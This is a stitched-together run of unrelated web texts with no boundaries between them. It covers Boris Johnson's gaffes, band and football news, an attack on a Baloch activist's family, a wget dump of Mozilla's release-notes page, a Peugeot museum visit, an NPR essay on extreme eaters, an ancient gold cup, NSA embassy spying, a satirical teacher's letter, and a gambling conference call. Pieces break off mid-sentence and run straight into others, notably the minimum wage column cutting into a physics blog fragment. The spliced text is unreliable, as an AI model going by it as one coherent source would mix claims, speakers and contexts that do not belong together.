The city of Mandalay was the capital city of Burma, which was part of British India from 1886 to 1937, and a separate British colony from 1937 to 1948.
Rudyard Kipling's poem 'Mandalay' was written in 1890, when the British poet was 24. He had arrived in England in October the previous year, after seven years in India.
This is not the first gaffe for the now-Foreign Secretary.
In July, he likened a traditional Maori greeting to a headbutt while visiting indigenous leaders in New Zealand.
He once said of the Tory Party that it had 'become used to Papua New Guinea-style orgies of cannibalism and chief-killing'.
The poem by Rudyard Kipling (right) is written through the eyes of a retired British serviceman in Burma, also known as Myanmar, which Britain colonised for more than a century
An apology was swiftly due. 'I mean no insult to the people of Papua New Guinea who I'm sure lead lives of blameless bourgeois domesticity in common with the rest of us. Add Papua New Guinea to my global itinerary of apologies.'
And in 2004, the then Tory leader Michael Howard ordered Boris (Tory MP for Henley) to make a penitential visit to Liverpool after an editorial was published in the Spectator (which he edited) that insulted Liverpudlians several times over. Boris called the trip 'Operation Scouse Grovel'.
The Foreign and Commonwealth Office declined to comment.
Boris Johnson: Blond Ambition is on Channel 4 on Sunday at 10.05pm.HALESTORM frontwoman Lzzy Hale joined THE EAST SIDE GAMBLERS on stage last night (Friday, January 27) at The Mercy Lounge in Nashville, Tennessee to perform covers of classic songs from AC/DC, AEROSMITH, HEART and PAT BENATAR, among others. Check out fan-filmed video footage of her appearance below.
HALESTORM's third covers EP, "ReAniMate 3.0: The CoVeRs eP", was released on January 6 via Atlantic. The effort was produced by Nick Raskulinecz (FOO FIGHTERS, ALICE IN CHAINS, KORN).
"ReAniMate 3.0: The CoVeRs eP" follows HALESTORM's previous covers EPs, 2011's "ReAniMate" and 2013's "ReAniMate 2.0".
Hale recently told Swedish outlet RockSverige that HALESTORM is continuing to write material for its next album, tentatively later this year. Hale revealed: "You have no idea the weird songs I've been writing, subject matter and musically. Musically, it's kinda been a long journey to the beginning, so we're kinda going back to our total roots. We're gonna do a rock record this time. It's like total balls to the wall, but lyrically, it's been a little weird and that's my fault."
The new record will follow up 2015's "Into The Wild Life", which was criticized by some fans for veering too far into pop music territory.A polish publication reports that Real Madrid's backup keeper has received an offer to replace the retiring Kasey Keller.
It appears as if the Seattle Sounders will not bringing another United States international to be its goalkeeper after Kasey Keller retires this season.According to a report by Polish publication Wirtualna Polska, the club has reached out to Real Madrid's backup goalkeeper Jerzy Dudek with a formal offer.If the report is accurate, it is an unexpected move for the club considering that many observers had expected that Keller's replacement would be Wolverhampton's Marcus Hahnemann, who has expressed his interested in joining MLS.Dudek, 38, signed with Real Madrid to be its backup back in 2007. Prior to that, the Polish goalkeeper had won the 2005 Champions League final with Liverpool in one of the competition's most memorable finals, when the Merseyside club came back from three goals down against AC Milan to win in penalties. He has also featured for Dutch club Feyenoord.Dudek was expected to retire after this season with Real Madrid, according to several Spanish publications, but joining Seattle would give him a chance to finish his career as a starter. He only made 12 league appearances over four years for the capital-based squad and joining the Sounders would give him a chance to be a key member of a team that could win the MLS cup.For more on Major League Soccer, visit Goal.com's MLS page and join Goal.com USA's Facebook fan pageYesterday, Monday 31 October, in Turbat in Balochistan, the home of comrade Zareef Rind was attacked by unknown gunmen. His 18 year old younger brother Hasil Rind Baloch – an activist of the Baloch Student Organization (BSO) – was killed by a bullet shot in the head. However, it seems clear that the actual target of this attack was Zareef Rind who was at home and not very far from his brother when he was killed, although usually he is based in Karachi. Since his younger brother resembles him very much, the assailants may have hit the wrong target.
Hasil Rind Baloch - Photo: Own workZareef Rind is well known for his Marxist views. He has been the leader of the BSO for many years and joined the IMT 3 or 4 years ago. At the convention of the Progressive Youth Alliance held on 5 December 2015 in Lahore he was elected Secretary General of the PYA. In his speech to the Convention, which was attended by a large number of students from all over Pakistan, Zareef Rind openly condemned the military operation in Balochistan and emphasized the need of class solidarity for a socialist revolution that will end national oppression.
The comrades in Balochistan are still investigating and trying to figure out the intentions behind this attack. The Pakistan army has launched a huge military operation in Balochistan against nationalist insurgency, while various nationalist organizations are fighting against each other. Attacks by Islamic fundamentalists are also on the rise. And to complicate things still further, these areas of Baluchistan are afflicted by bloody tribal feuds.
This is the second time Zareef Rind’s home has been attacked. In March this year his home was attacked by rocket launchers and gunfire. That attack, during which one of his relatives was seriously injured, was claimed by a nationalist group. There is a tradition of infighting in nationalist groups in Balochistan, and the BSO has come under fire for criticising their false policies and methods. However, no organization has yet claimed authorship of yesterday’s murderous assault.
Whoever is responsible for this bloody deed, an urgent response is needed. Comrades of the IMT Pakistan Centre in Lahore met today to discuss the situation and they will take the necessary actions to counter this attack. The comrades of the BSO are holding a press conference and will organize a protest in Quetta today. Tomorrow a protest will be held in Lahore. Other protests will be held in the coming days.
Please send messages of support and solidarity to: This email address is being protected from spambots. You need JavaScript enabled to view it.Mozilla Firefox releasenotes scrape a guest May 25th, 2016 4,285 Never a guest4,285Never
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rawdownloadcloneembedreportprint HTML 5 2.38 KB $wget https://www.mozilla.org/en-US/firefox/notes/ -O - --2016-05-25 00:49:15-- https://www.mozilla.org/en-US/firefox/notes/ Resolving www.mozilla.org... 104.16.40.2, 104.16.41.2, 2400:cb00:2048:1::6810:2902,... Connecting to www.mozilla.org|104.16.40.2|:443... connected. HTTP request sent, awaiting response... 302 FOUND Location: https://www.mozilla.org/en-US/firefox/46.0.1/releasenotes/ [following] --2016-05-25 00:49:16-- https://www.mozilla.org/en-US/firefox/46.0.1/releasenotes/ Reusing existing connection to www.mozilla.org:443. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: 'STDOUT' - [ < = > ] 0 --.-KB/s <!doctype html> < html class = "windows x86 no-js" lang = "en" dir = "ltr" data-latest-firefox = "46.0.1" data-esr-versions = "38.8.0 45.1.1" data-gtm-page- id = "/firefox/releasenotes/" > < head > < meta charset = "utf-8" > < script type = "text/javascript" src = "/media/js/site-bundle.3ef782a8049d.js" charset = "utf-8" >< / script > <!-- _.-~-. 7'' Q..\ _7 (_ _7 _/ _q. / _7. ___ /VVvv-'_. 7/ / /~- \_\\ '-._.-' / //./ ( /-~-/||'=.__ '::. '-~'' { ___ / //./{ V V-~-~| || __''_ ':::. ''~-~.___.-'' _/ // / {_ / { / VV/-~-~-|/ \.'__'. '. ':: _ _ _ ''. / /~~~~||VVV/ / \ ) \ _ __ ___ ___ ___(_) | | __ _.::' / (~-~-~\\.-' / \' \::::. | '_ ` _ \ / _ \_ / | | |/ _` | :::' /..\ /..\__/''::: | | | | | | (_) / /| | | | (_| | ::' vVVv vVVv ': |_| |_| |_|\___/___|_|_|_|\__,_| '' Hi there, nice to meet you! Interested in having a direct impact on hundreds of millions of users? Join Mozilla, and become part of a global community that’s helping to build a brighter future for the Web. Visit https://careers.mozilla.org to learn about our current job openings. Visit https://www.mozilla.org/contribute for more ways to get involved and help support Mozilla.--> < meta name = "viewport" content = "width=device-width, initial-scale=1" >
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$wget https://www.mozilla.org/en-US/firefox/notes/ -O - --2016-05-25 00:49:15-- https://www.mozilla.org/en-US/firefox/notes/ Resolving www.mozilla.org... 104.16.40.2, 104.16.41.2, 2400:cb00:2048:1::6810:2902,... Connecting to www.mozilla.org|104.16.40.2|:443... connected. HTTP request sent, awaiting response... 302 FOUND Location: https://www.mozilla.org/en-US/firefox/46.0.1/releasenotes/ [following] --2016-05-25 00:49:16-- https://www.mozilla.org/en-US/firefox/46.0.1/releasenotes/ Reusing existing connection to www.mozilla.org:443. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: 'STDOUT' - [<=> ] 0 --.-KB/s <!doctype html> <html class="windows x86 no-js" lang="en" dir="ltr" data-latest-firefox="46.0.1" data-esr-versions="38.8.0 45.1.1" data-gtm-page-id="/firefox/releasenotes/" > <head> <meta charset="utf-8"> <script type="text/javascript" src="/media/js/site-bundle.3ef782a8049d.js" charset="utf-8"></script> <!-- _.-~-. 7'' Q..\ _7 (_ _7 _/ _q. / _7. ___ /VVvv-'_. 7/ / /~- \_\\ '-._.-' / //./ ( /-~-/||'=.__ '::. '-~'' { ___ / //./{ V V-~-~| || __''_ ':::. ''~-~.___.-'' _/ // / {_ / { / VV/-~-~-|/ \.'__'. '. ':: _ _ _ ''. / /~~~~||VVV/ / \ ) \ _ __ ___ ___ ___(_) | | __ _.::' / (~-~-~\\.-' / \' \::::. | '_ ` _ \ / _ \_ / | | |/ _` | :::' /..\ /..\__/''::: | | | | | | (_) / /| | | | (_| | ::' vVVv vVVv ': |_| |_| |_|\___/___|_|_|_|\__,_| '' Hi there, nice to meet you! Interested in having a direct impact on hundreds of millions of users? Join Mozilla, and become part of a global community that’s helping to build a brighter future for the Web. Visit https://careers.mozilla.org to learn about our current job openings. Visit https://www.mozilla.org/contribute for more ways to get involved and help support Mozilla.--> <meta name="viewport" content="width=device-width, initial-scale=1">Although PSA Peugeot-Citroën is headquartered in Paris, Peugeot chose to open its museum in its hometown of Sochaux, France. Located a stone’s throw away from the automaker’s very first factory, the museum is home to well over 100 vehicles that are swapped around on a regular basis.
We saw an impressive display of pre-war cars dating from Peugeot’s earliest days and a large collection of successful race cars including several Dakar-going models, a 504 that participated in the 1975 edition of the Safari Rally and a 204 that competed in the East African Safari. Commercial vehicles were relatively well represented but some of the less popular Peugeots were largely left out.
L’Aventure Peugeot also boasts an impressive collection of other objects Peugeot has built over the years including bicycles, tricycles, pepper mills, blenders, drills, saw blades, wood-working tools and even sewing machines.
As a side note, the museum only showcases Peugeots, not cars built by the PSA group. Citroën’s collection is in Paris and the Simca / Talbot museum is located on the grounds of the historic Poissy factory.
402 B Gazogène
One of the most intriguing cars on display during our visit was a 402 set up to run on carbon monoxide. Peugeot fine-tuned the technology in the late 1930s because it sensed the war that was brewing in Europe would lead to a shortage in gasoline.
The system consists of a wood stove-like oven mounted on the back of a long-wheelbase 402 and a network of large metal pipes. The carbon monoxide produced by the charcoal as it slowly burns is routed away from the stove and into a separate storage tank. From there, it runs through a pipe that follows the 402’s roofline, goes through the hood and feeds into the engine’s intake manifold. The stove holds 77 pounds (35 kilos) of charcoal, enough to power the 402 for up to 50 miles (80 kilometers).
The charcoal burner adds a hefty 374 pounds (169 kilos) to the 402, lowering its top speed to 40 mph (65 km/h). While the car sounds like a wild prototype that never left the test track, over 2,500 Peugeots were converted to run on carbon monoxide between 1940 and 1945.
The L’Aventure Peugeot museum is open seven days a week from 10am to 6pm except on certain holidays like Christmas and New Years. Visitors can take a break from the tour by grabbing a drink or a bite at the museum’s brewery.
Our photos are split up into two galleries: Street cars and race cars. In the interest of space we have largely left out detailed shots (door handles, headlights and so forth) but if you would like more pictures of a particular car don’t hesitate to contact us or, better yet, visit the museum for yourself in Sochaux.
Street cars
Race cars
AdvertisementsWho Wants To Eat Jellyfish Omelets? Dolphin Meatballs? Mouse-On-Toast? These Guys
Foodwise, we live in choosy times, mostly choosing "no thank you."
More and more of us choose not to eat meat or fish or eggs or fatty foods. We don't want anything too sugary, too fried, too raw, too strange. We tiptoe through the grocery as if it's a danger zone, hoping not to be tempted by a glazed doughnut.
That's the fashion, and I suppose it's a healthy one. Which is why you should know about two men who went wildly, dramatically, the other way. They tried to eat everything, no matter how improbable, how nasty... well, almost everything. One lived in Rome, the other in Britain. Let's start with the Roman.
The Contender: Marcus Gavius Apicius
Aaron Birk for NPR
Marcus Gavius Apicius had a big house, a big kitchen and a sense of culinary adventure like no one else in first century Rome. He ate dangerously, creating meals so exotic, so daring, years later his recipes (or imagined versions of them) were collected in a cookbook named after him. I found some of his dishes in Patrick Faas' 2005 Around the Roman Table. What did Apicius like?
Aaron Birk for NPR
How about dolphin meatballs? Boiled parrot? Jellyfish omelets? Sows' wombs in brine? Or maybe a little stuffed mouse?
If he'd never tasted it, he wanted to. If no one else could afford it, he could. He was very rich and his options were boundless.
The Most Outrageous Ancient Dish
He is said to have created (though no one can prove this) the single most outrageous dish of ancient times, hugely popular in the first century, especially in Rome, probably for its insane expensiveness. I'm talking about Lark Tongue Pie.
A lark, you may know, is a small brown and white bird that rises early and sings just as the sun comes up. It weighs about 2 ounces and has, I presume, a very small tongue, so it's daunting to imagine how one would find enough tongues to make into a meat pie. When I Googled for a recipe, I found this response in a discussion group:
...if you show up at my door with a bucket of lark's tongues I'd probably improvise something. (Actually, I'd probably call the police.)
Aaron Birk for NPR
But not Apicius. He wanted the attention these over-the-top meals could bring. He was such a generous host that Roman statesman Seneca says Apicius burned through his 100 million sestertii fortune until he was down to a mere 10 million. When he realized he would one day have to retrench and eat modestly, he threw one last banquet and then poisoned himself.
That's the danger of any addiction. It can make you mad. But not if you're a little bit wacky in the first place. Which brings me to my other, and in this case I'd have to call him my All Time Champion Eater, a man who lived to be 80-something and systematically tasted everything he could possible swallow, tongue or chew. I am talking about an Englishman named William Buckland.
The Champ
Aaron Birk for NPR
In the early 1800s, Buckland was a biblical geologist, the first trained geologist ever at Oxford. He also was a great admirer of animals. He had an odd assortment of live ones at his home, (a hyena, a monkey, allowed to wander the halls). He also had a collection of stuffed ones. Sometimes he would bring samples to class. By one account, while teaching at Oxford, he dropped a large hyena skull onto the lap of a (terrified) student and asked, "What rules the world?" When the student didn't answer, he cried, "The stomach, sir!" It's the stomach that "rules the world. The great ones eat the less, the less the lesser still..." And therefore, he taught, whoever dominates the world of plants and animals can (and should) eat all the others.
What rules the world? The stomach, sir!
And to demonstrate, that's what he did. He ate nearly everything. He made it a lifelong project, systematically working his way through all the animals in Noah's ark, snacking on each of them.
A couple of times, he balked. One mole repulsed him. He gagged on a bluebottle fly. But with a little butter, most things went down. Says author (and Radiolab regular) Sam Kean, Buckland ate (and offered his guests): "Crisp mice in golden batter. Panther chops. Rhino pie. Trunk of elephant. Crocodile for breakfast. Sliced porpoise head. Horse's tongue. Kangaroo ham." He also sipped dangerously.
One time he was visiting a cathedral and was shown a miracle: Apparently a beam in the roof was dripping fresh saints' blood to the floor. That, anyway, was the local legend. Buckland, "never one to turn down the opportunity to try a new flavour," says journalist Fraser Lewry, "licked the flagstones and was able to disprove the myth, immediately identifying the mystery liquid as bat urine."
How To Explain Dr. Buckland
Eww. Why did he do it? Sam Kean says Buckland spent a lot of time in the woods or away in the mountains digging and had such "limited dining options" that maybe he learned to eat pretty much anything. Or "[i]t may have been a harebrained scheme to get inside the minds of the extinct animals whose bones he dug up."
"Mostly, though," says Sam, "he just liked barbecuing..."
That's why he's my champ. He wasn't as rich as Apicius. He wasn't as inventive. But he had a joy in him, more than a hunger; he had a mission to taste, to explore, to dare.
Enlarge this image Aaron Birk for NPR Aaron Birk for NPR
His craziest moment may be apocryphal, but it was a story his friends told at the time. One day, he was visiting a friend who wanted to show off a special family treasure. It was sitting in a silver snuffbox. Buckland looked in, and there, cushioned in the box, was a desiccated morsel of King Louis XIV's heart. That's the Louis who built Versailles. Louis the Sun King.
"I have eaten many strange things," Buckland said to his friend, "but have never eaten the heart of a king." With that, before anybody could stop him, he popped the piece in his mouth and swallowed.
And that's why William Buckland wears my crown: Most Daring Eater Ever.
Aaron Birk for NPR
In his new book, The Violinist's Thumb, Sam Kean tells the story of how changes in our DNA — human DNA — allowed us to swallow what for other animals is an impossibly rich diet. This is the story of the "meat eating gene," starring, who else? Dr. William Buckland. Aaron Birk, our illustrator on this post, is the author of a graphic novel, The Pollinator's Corridor.
A Postscript: Slurping & Chewing Today
By ROBERT KRULWICH
I didn't know this, but now I do. There are places you can go today that are chock full of adventurous eaters, maybe as adventurous as Dr. Buckland and Apicius. The place to go is not Europe, but Southern China.
The Southern Chinese have a tradition of eating all kinds of things we would never put on a plate. Their food markets are famously... um... unlike ours, being full of live snakes, turtles, ferrets, cats, dogs, and you don't want to know what else.
Then, about ten years ago, things got wilder. In his about-to-be-released book about virus hunting and epidemics, David Quammen describes a food craze called "Wild Flavor" that swept through thousands of restaurants in Guangzhou and Shenzhen. Wild Flavor menus are daring in the extreme, offering exotics like ferret badger, beaver, hog badger, and masked palm civet (a kind of cat). This raises, of course, conservation questions, health risks, digestion problems. There's even reason to think the SARS epidemic started at one of South China's vast live food markets, so I'd imagine that David, one of our leading writers about biological diversity, would avoid eating weird, possibly dangerous food. But something in the South China air makes otherwise sober people grab their spoons and dig in. Here's David's description of a snack he had: He calls it "the world's stinkiest fruit."
It's a large spiky thing, [called a] durian, like a puffer fish that has swallowed a football; pried open, it yields individual goblets of glutinous creamy pulp, maybe eight or ten goblets per fruit, and an unwelcoming bouquet. The pulp tastes like vanilla custard and smells like the underwear of someone you don't want to know. We ate barehanded, slurping the goo between our fingers as it oozed and dripped. This was before dinner, in lieu of peanuts and beer. Then we went out to a restaurant where [his American friend] ordered us a dish featuring congealed pig's blood — in little hepatic cubes, like diced liver — with beet sprouts and hot red peppers. By late evening my shirt was soaked with sweat.
Sounds like a night at the Apiciuses, no?
David Quammen's new book is called Spillover. It's not a food book; it's a book about infections and pandemics. In his stories, when people sit down for a meal, nothing nice is going to happen. Mostly I'd just whisper, "Don't!"World’s Most Expensive Plinking Target — $99,000 Gold Cup
John Weber, a 70-year-old from England, was given a metal mug by his grandfather in 1945. Though his grandfather had a “good eye” for antiques, John never thought the metal mug was worth much. He played with it as a child, and even used it as a target for his air rifle. The mug, assumed to be brass, has languished in a shoe box under Weber’s bed for decades.
Well, it turns out Weber’s old mug may be the world’s most expensive plinking target! The cup is actually made of solid gold, and is a rare, ancient artwork, crafted over 2300 years ago. The unusual mug, decorated with twin, opposite-facing female heads, was appraised with a value exceeding one-quarter million dollars ($250,000)!
According to news reports, Weber decided to have the old mug (thought to be brass) appraised when he moved from his house. He was shocked to learn that the mug is a Persian gold treasure, beaten out from a single sheet of gold before the time of Alexander the Great. Experts said the type of gold and the way the cup was hammered was “consistent with Achaemenid gold and gold smithing” dating back to the third or fourth century BC. The Achaemenid Empire ruled most of the Middle East and was conquered by Alexander the Great in 330 BC. Could this cup be one of Alexander’s war trophies? What stories could it tell from the past 2300 years?
Ancient Gold Cup Brings £50,000 at Auction
The rare cup was sold at auction by Duke’s Auction house in southwest England in June, 2008. Though the Cup was valued much higher by experts, it only fetched £50,000, or roughly $99,000 U.S. Dollars (at 2008 exchange rates). John Webber said he was still very pleased with that result.
CLICK HERE for Auction Description (Item 378).
Achaemenid Empire (in green)
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Tags: Achaemenid, Auction, Gold, TreasureThe cleansing effect of the minimum wage in China
Florian Mayneris, Sandra Poncet
Minimum wage laws are often shown to have little impact on employment as the labour price rise can be offset by lower turnover, lower markups, and heightened efficiency, or ‘cleansing’ effects. This column shows that in a fast-growing economy like China, there is a ‘cleansing’ effect of labour market standards. Minimum wage growth allows more productive firms to replace the least productive ones and forces incumbent firms to become more competitive. Both mechanisms boost the aggregate efficiency of the economy.
Can higher minimum wages ensure that economic development benefits the poorest without hindering growth? The question is controversial in both academic and policy circles. The recent riots in Bangladesh and Cambodia show that the social demand for a more equal distribution of the benefits of growth is high in developing countries. In China, polls reveal that concerns about inequality have grown as "roughly eight-in-ten have the view that the rich just get richer while the poor get poorer'' (Pewresearch Center 2012). The debate is also heated in developed economies. Renowned politicians and economists have called for a significant rise in minimum wages in the US (Woellert 2014), as has Barack Obama in his 2014 State of the Union address. On the other hand, any attempt by authorities to increase minimum wages is opposed by employer federations, who argue that higher wages will erode their margins, forcing them to fire workers or entirely relocate their activities to countries with lower wages. Some economists also argue that a minimum wage has detrimental effects on employment, especially for low-skilled workers (Neumark et al. 2013)
In a recent article (Mayneris et al. 2014), we investigate these issues in the case of China, the fastest growing economy of the past 15 years, both at the firm level |
it’d be a brave man who’d bet on this being the last word.
Fridman and pals have clearly made themselves an interesting toy but they modestly refrain from speculating about the applications for their time cloak.
However, that’s a task well suited to readers of the Physics arXiv Blog. If you have any suggestions, leave them here.
Ref: arxiv.org/abs/1107.2062: Demonstration Of Temporal CloakingMr. and Mrs. Trump, thank you for coming here today to talk about Donald. You know, kindergarten can be a scary place, but I have to say that Donald is a bright boy and very confident in himself. He’s so adorable when he tells the other children that he has a “good brain.” He loves to play with blocks and he builds tremendous towers and buildings. They are huge. He’s also very funny. He made everyone laugh recently when he said he had a “winning temperament.” Even the children who didn’t know what a “winning temperament” was laughed because they knew Donald was joking.
Donald is having a few adjustment problems, though. He has a hard time getting along with some of the children. There’s a boy in the class who can’t move his arm and Donald sometimes makes fun of him by flopping his own arm around and mimicking the way the disabled boy moves. And during free play, Donald is uses giant blocks to build what he calls a “big, beautiful wall” around the Mexican children. He tells them they have to pay for his wall, which is very confusing and upsetting to them. It’s true that kids occasionally play rough and sometimes I have to send them to the principal’s office, but please encourage Donald to stop pointing at one area in the room and calling it “hell.” It’s not true or nice.
Donald does have good friends, though. A lot of boys like Donald. And there’s a boy named Vladimir that Donald gets along with well. Maybe he’s mentioned him? Vladimir is a strong boy, and Donald admires him big league. I think Donald wants to be strong like Vladimir, but Vladimir is a bully. He’s mean and sneaky and always expects to get his way. He causes a lot of trouble on the playground, so I don’t want Donald to start mimicking Vladimir’s behavior.
I also want to talk to you about how Donald treats girls. I know that boys his age sometimes think that girls are icky. He’ll probably grow out of it. I mean, he likes to show everyone how big his hands are. Ha ha! It’s so cute. But Donald has a real problem with girls. He calls them terrible names. He says they are pigs, slobs, ugly and fat. He seems to think all the Latina girls are maids. There’s one girl in particular he doesn’t like. Her name is Rosie. He’s always fighting with her and blaming her for “starting it.” This has been going on for so long, I’m getting tired of it, but when I ask him to try to be nicer to girls, he gets defensive and brings up Rosie again.
Donald’s biggest problem, though, is a girl named Hillary. She’s pretty smart, too. And after Show and Tell this week, Donald got upset because all the kids thought that Hillary’s Show and Tell was better than Donald’s. As you know, winning is very important to your son, and if he doesn’t win, he cries. I’m telling you this because in a few weeks, the children are going to vote for a class president. They get to choose between Donald and Hillary. I think that if Donald loses this election, he’s going to blame someone or something because Donald doesn’t believe that anything is ever his fault. He’s already telling the kids that the election is “rigged.” To me, it sounds like he’s making excuses in case he doesn’t win.
This kind of talk bothers me, because this is my class. There are rules in my class and I try to make sure that all the kids obey them. I know my class isn’t perfect, but out of all the other kindergarten classes in the world, I’m proud of mine. As a teacher, I try very hard to make sure that every child has the opportunity to learn and grow and be whatever they want to be. I believe that any child in my class can grow up to be the President of the United States, not just class president. Even a girl.
I’m worried that if Donald loses this class election, he’s going to throw a massive tantrum, and he’s not going to let it go for a long time. This could be very disruptive to my class. I’m already expecting him to sue me.
Young Donald has a lot of potential. He is smart, capable and ambitious. He has the means and opportunity to go far in life. But as his parents, I hope you would also encourage your son to grow up to be a kind, compassionate and fair young man, who is doesn’t think too highly of himself and is considerate of others.
Otherwise, there might come a day when you realize that what Donald really needed was a good spanking.
***
photo credit: hoyasmeg <ahref=”http://www.flickr.com/photos/62126383@N00/4548149726″>Playing with Big Blocks_2725c</a> via <a href=”http://photopin.com”>photopin</a> <a href=”https://creativecommons.org/licenses/by/2.0/”>(license)</a>China and a number of South Asian governments have demanded an explanation from Washington over allegations that US embassies - as well as embassies of US allies - were used for NSA surveillance.
The diplomatic row has been caused by the Sydney Morning Herald’s report, which said the NSA collected its data in Asian countries by having its equipment installed inside US embassies and also in the diplomatic missions of the other ‘Five Eye’ nations, which includes Australia, Britain and Canada.
Beijing said it was “extremely concerned” by the news and was seeking clarification from the US.
"We also demand that foreign embassies in China and their staff respect the Vienna Convention... and other international treaties and not get involved in any activities which do not accord with their status or post and harm China's security and interests," Chinese Foreign Ministry spokeswoman, Hua Chunying, said on Thursday.
The news of the data collection facilities operating out of the embassies in Jakarta, Bangkok, Hanoi, Bejing, and Dili was based on the documents leaked by NSA whistleblower, Edward Snowden.
The news that the US agency carried out espionage through foreign embassies has also provoked outrage in Indonesia, with the country’s Foreign Minister, Marty Natalegawa, saying the issue had been raised with the US chargé d'affaires in Jakarta.
"Indonesia cannot accept it and protests strongly over the report about wiretapping facilities at the US embassy in Jakarta," said Natalegawa cited by AP. "If confirmed, such action is not only a breach of security, but also a serious breach of diplomatic norms and ethics and certainly not in the spirit of friendly relations between nations."
Indonesia also said it has summoned the Australian ambassador, Greg Moriarty, to come to the foreign ministry on Friday. The ministry added that he will face questions over the "totally unacceptable" activities reported in the Sydney Morning Herald.
"Indonesia's Foreign Minister Marty Natalegawa has demanded an explanation from the Australian ambassador in Jakarta about the existence and use of surveillance facilities in the Australian embassy here," Indonesia's foreign ministry said in a statement.
"The reported activities absolutely do not reflect the spirit of a close and friendly relationship between the two neighbors and are considered unacceptable by the government of Indonesia."
The uproar was supported by other Asian nations. Malaysia’s government promised to investigate the allegations, while the opposition party issued a statement calling for the lodging of a protest with the US and Australian embassies.
The government of Thailand informed the US that spying was a crime under the country’s laws, according to Thai National Security Council secretary general, Lt.-Gen. Paradorn Pattanathabutr. The official blamed the US more than Australia, Thailand’s closer neighbor.
“When it comes to technology and mechanics, the US is more resourceful and more advanced than Australia,” he said. “So I can say that it is not true that the Australian Embassy will be used as a communications hub for spying.”
The outpour of criticism from Asia comes at a time when the US is already under severe pressure from European nations, following earlier reports disclosing the scale of surveillance there.
EU diplomats recently traveled to Washington to get explanations concerning NSA spying. The US insisted all the intelligence gathered in Europe was related to warzones in the Middle East and would continue.
In the wake of the NSA scandal, EU leaders have called for the suspension of a trade pact with the US worth billions of dollars.Lauren Lane has become a fixture in the Los Angeles scene since arriving from New York a few years ago. The past 6 months she's played some of the world's best clubs and festivals such as DC-10, Warung, Coachella, The BPM Festival, Decibel and Rio Music Conference.
Lane also recently released her debut EP ‘Cool Kids’ on Nic Fanciuilli’s Saved Records. 'Cool Kids' was the best selling track on Saved Records in 2014 and a new remix by Nic Faniculli and Butch will be released in June 2015.
Surely, she's been doing plenty right, as Lane just experienced her second Coachella behind the decks, rocking the Yuma Tent on both Saturdays of the two-weekend affair. Pulse Radio is lucky enough to be able to bring you the exclusive release of her set from April 11, which you can find below.
Lauren's top moments from Coachella:
1. Playing in the Yuma tent both Saturdays. Getting to see how many people at the festival love the music I love and also appreciating how many of my friends came out to support me. Seeing so many happy faces on the dance floor...It is an honor to be included in such an amazing lineup with so many talented artists.
2. Buzzing around the festival two weeks in a row... getting to do everything the second weekend that I didn't get to do the first. I wish more things in life had that option ;)
3. Being blown away by hearing artists for the first time like Jungle, FKA Twigs, Lykke Li, and of course the legends AC/DC.
4. The quality of the artwork, sound, hospitality and diversity of talent is in my opinion the best in America! I can't wait until next year...
5. Too many memories made with close friends to name here but won't ever be forgotten....
Thank you for having me Coachella! :)
Listen to Pulse RadioCNBC
Julian Robertson, billionaire investor and founder of Tiger Management, said Tuesday that stock market valuations were high by historical standards and that the Federal Reserve’s policies were to blame for an emerging bubble.
"I think we need interest rates to appreciate, to go up, because I think we are creating a bubble,” the 85-year-old said at CNBC's Delivering Alpha conference in New York.
"The market, as a whole, is quite high on a historic basis," Robertson added. "And I think that's due to the fact that interest rates are so low that there's no real competition for the money other than art and real estate."
The Federal Reserve has kept its fed funds rate extremely low since the onset of the Great Recession, lifting it four times since December 2015 to a range of 1.00% to 1.25% in June. This decade-long period of historically low rates has led to a bubble, according to Robertson.
“It's the Federal Reserve's fault, and the Federal Reserves all over the world,” he told CNBC’s Kelly Evans. “I mean, in Germany, in order to buy a bond, until recently, you actually had to pay interest, and that's certainly going to discourage a lot of people from doing so."
Robertson developed a reputation on Wall Street for predicting the 1990s tech bubble, when he skirted significant losses by avoiding so-called fly-by-night stocks. Today, Tiger’s largest holdings include biotech company Celgene, Facebook, and Alibaba, according to Bloomberg.
“When rates do start to go up and the bonds become more attractive to investors, it will affect the margins,” he said.One of the great things about scuba diving is that you never know what you’re going to see.
Depending on where you dive you might suddenly find yourself face-to-face with a whale, a shark, a turtle or, as John Ng of Scuba Monster recently found out, a Panasonic GH4 in a Nauticam underwater housing.
Much to John’s surprise the camera had survived and thanks to the owner registering his serial number the camera is now on its way home.
John and the rest of the Scuba Monster team from Hong Kong were on a liveaboard (LOB) dive trip in the Maldives last month. During one of the dives, 18.5 meters deep, John says he spotted “something weird inside the hole together with the rocks and corals”.
Stuck in the rocks, it took John ten minutes to free the camera housing before he could take it back to the boat to be examined.
While the exterior of the Nauticam NA-GH4 had started to look more like a coral or a rock, the interior along with the camera were like new. Luckily the underwater housing remained vacuum sealed during the entire period preventing any leaks or pressure damage.
Passing on the housing’s serial number to the manufacturer was as easy as it gets; one of the Nauticam China employees, Sin Hwa, was also on the trip. Before too long they learned that the owner is from Malaysia and lost his camera in December 2014 during a strong current dive.
Since Nauticam has the owner’s information, and assuming its employees will want to inspect the housing, John passed on the gear for the company to return to the rightful owner.
In an interview with DIYP John said Nauticam is still in possession of the gear, but that a handover should be arranged very soon.
Other than the camera surviving, which john said is amazing; he was also pleasantly surprised to discover that despite spending three months in such a rough environment most of the housing’s controls were still functional.
As far as John is concerned this went to reaffirm his decision to buy Nauticam housings for his business, and as a client he could not be happier with the housing’s durability.
[via Facebook]CALL FOR PAPERS AND SYMPOSIA The 15th International Conference on Gambling & Risk Taking Caesars Palace | Las Vegas, Nevada | May 27-31, 2013 Download the Call for Papers in pdf format The Institute for the Study of Gambling and Commercial Gaming at the University of Nevada Reno, in partnership with the International Gaming Institute at the University of Nevada Las Vegas, invites paper and symposium submissions for The 15th International Conference on Gambling & Risk Taking, which will be held at Caesars Palace Resort and Casino, Las Vegas, Nevada, from May 27 to May 31, 2013. Based on our experience with prior conferences, we anticipate over 200 academics, researchers, and gaming professionals from throughout the world will present and discuss findings of their work, covering a wide variety of gambling-related topics over the five days of the Conference. Since the First International Conference in 1974, the focus of this Conference has been on the presentation of high quality, objective, scientifically based research that contributes to the knowledge base of gambling, as well as the formation of responsible public policy and public perceptions of gaming industries, and competent regulation and management of gaming operations. This is an important conference—important to the industry, to policy makers, to society at large, and to those who need a better understanding of the often complex issues surrounding gambling. Papers and proposals for Symposium Sessions are invited in the following areas related to gambling and commercial gaming: Economic and social impacts
Political and regulatory issues
Public policy and gambling
Problem and pathological gambling
Illegal gambling
Gambling in history
Futures markets
Implications of new technologies
Mathematical & quantitative analysis of gambling
